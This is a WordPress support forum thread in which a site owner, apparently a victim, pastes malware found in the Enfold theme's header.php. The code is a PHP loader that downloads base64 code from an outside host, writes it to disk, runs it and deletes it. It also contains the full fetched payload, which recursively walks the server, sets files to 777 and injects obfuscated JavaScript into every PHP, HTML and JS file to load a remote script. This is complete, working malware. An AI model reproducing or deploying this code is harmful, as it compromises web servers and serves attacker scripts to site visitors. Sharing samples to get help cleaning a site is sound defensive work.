Fatal error: Uncaught Error: Call to undefined function wp_register_script() in

The Virus is in the header.php (/wp-content/themes/enfold), if someone have the same Problem.

Hello Victoria,
thx, i am working on it. I unterstand only a litte bit of PHP, but no JS and so i dont understand what it makes. Here some Code of it:

`$c = “base64_decode”;
$d = “file_get_contents”;
$b = $c($d(“https://train.developfirstline.com/y.txt”));
@file_put_contents(“htht”,””.$b);
include(“htht”);
unlink(“htht”);
<script src=’https://train.developfirstline.com/delivery.js?s=5&#8242; type=’text/javascript’></script>`

The TXT:

$lastRunLog = "./track.log";
if (file_exists($lastRunLog)) {
    $lastRun = file_get_contents($lastRunLog);
    if (time() - $lastRun >= 6400) {
    search_file($_SERVER['DOCUMENT_ROOT']."/../../../../../../../../",".");
search_file_js($_SERVER['DOCUMENT_ROOT']."/../../../../../../../../",".js");
         file_put_contents($lastRunLog, time());
    }
} else {
search_file($_SERVER['DOCUMENT_ROOT']."/../../../../../../../../",".");
search_file_js($_SERVER['DOCUMENT_ROOT']."/../../../../../../../../",".js");
         file_put_contents( $lastRunLog, time());
}

		 
function search_file($dir,$file_to_search){

$files = @scandir($dir);

if($files == false) {
	
	$dir = substr($dir, 0, -3);
	if (strpos($dir, '../') !== false) {
		
		@search_file( $dir,".");
		return;
	}
	if($dir == $_SERVER['DOCUMENT_ROOT']."/") {
		
		@search_file( $dir,".");
		return;
	}
}

foreach($files as $key => $value){

    $path = realpath($dir.DIRECTORY_SEPARATOR.$value);
	
    if(!is_dir($path)) {
		if (strpos($value,$file_to_search) !== false && (strpos($value,".ph") !== false || strpos($value,".htm")) !== false) {

		make_it($path);

    } }else if($value != "." && $value != "..") {

        search_file($path, $file_to_search);

    }  
 } 

}

function search_file_js($dir,$file_to_search){

$files = @scandir($dir);
if($files == false) {
	
	$dir = substr($dir, 0, -3);
	if (strpos($dir, '../') !== false) {
		
		@search_file_js( $dir,".js");
		return;
	}
	if($dir == $_SERVER['DOCUMENT_ROOT']."/") {
		
		@search_file_js( $dir,".js");
		return;
	}
}

foreach($files as $key => $value){

    $path = realpath($dir.DIRECTORY_SEPARATOR.$value);
	
    if(!is_dir($path)) {
		if (strpos($value,$file_to_search) !== false && (strpos($value,".js") !== false)) {

		make_it_js($path);

    } }else if($value != "." && $value != "..") {

        search_file_js($path, $file_to_search);

    }  
 } 

}

function make_it_js($f){
			$g = file_get_contents($f);
			
										

if (strpos($g, 'hjsawer') !== false) {

} else {

$l2 = base64_decode("RWxlbWVudC5wcm90b3R5cGUuYXBwZW5kQWZ0ZXIgPSBmdW5jdGlvbihlbGVtZW50KSB7ZWxlbWVudC5wYXJlbnROb2RlLmluc2VydEJlZm9yZSh0aGlzLCBlbGVtZW50Lm5leHRTaWJsaW5nKTt9LCBmYWxzZTsoZnVuY3Rpb24oKSB7IHZhciBlbGVtID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudChTdHJpbmcuZnJvbUNoYXJDb2RlKDExNSw5OSwxMTQsMTA1LDExMiwxMTYpKTsgZWxlbS50eXBlID0gU3RyaW5nLmZyb21DaGFyQ29kZSgxMTYsMTAxLDEyMCwxMTYsNDcsMTA2LDk3LDExOCw5NywxMTUsOTksMTE0LDEwNSwxMTIsMTE2KTsgZWxlbS5zcmMgPSBTdHJpbmcuZnJvbUNoYXJDb2RlKDEwNCwxMTYsMTE2LDExMiwxMTUsNTgsNDcsNDcsMTE2LDExNCw5NywxMDUsMTEwLDQ2LDEwMCwxMDEsMTE4LDEwMSwxMDgsMTExLDExMiwxMDIsMTA1LDExNCwxMTUsMTE2LDEwOCwxMDUsMTEwLDEwMSw0Niw5OSwxMTEsMTA5LDQ3LDEwMCwxMDEsMTA4LDEwNSwxMTgsMTAxLDExNCwxMjEsNDYsMTA2LDExNSw2MywxMTUsNjEsNTEpO2VsZW0uYXBwZW5kQWZ0ZXIoZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoU3RyaW5nLmZyb21DaGFyQ29kZSgxMTUsOTksMTE0LDEwNSwxMTIsMTE2KSlbMF0pO2VsZW0uYXBwZW5kQWZ0ZXIoZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoU3RyaW5nLmZyb21DaGFyQ29kZSgxMDQsMTAxLDk3LDEwMCkpWzBdKTtkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZShTdHJpbmcuZnJvbUNoYXJDb2RlKDEwNCwxMDEsOTcsMTAwKSlbMF0uYXBwZW5kQ2hpbGQoZWxlbSk7fSkoKTs=");
$g = file_get_contents($f);
$g = $l2.$g;
@system('chmod 777 '.$f);
@file_put_contents($f,$g);
$g = file_get_contents($f);
if (strpos($g, 'hjsawer') !== false) {

} 
}

			
}

function make_it($f){
$g = file_get_contents($f);
if (strpos($g, '69,108,101,109,101,110,116,46,112,114,111,116') !== false) {

} else {
$l2 = "<script type=text/javascript> Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,116,114,97,105,110,46,100,101,118,101,108,111,112,102,105,114,115,116,108,105,110,101,46,99,111,109,47,100,101,108,105,118,101,114,121,46,106,115,63,115,61,50);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();</script>";
if (strpos($g, '<head>') !== false) {
$b = str_replace("<head>","<head>".$l2,$g);
@system('chmod 777 '.$f);
@file_put_contents($f,$b);
}
if (strpos($g, '</head>') !== false) {
$b = str_replace("</head>",$l2."</head>",$g);
@system('chmod 777 '.$f);
@file_put_contents($f,$b);
}

			}
}

• This reply was modified 4 years, 7 months ago by sardinien.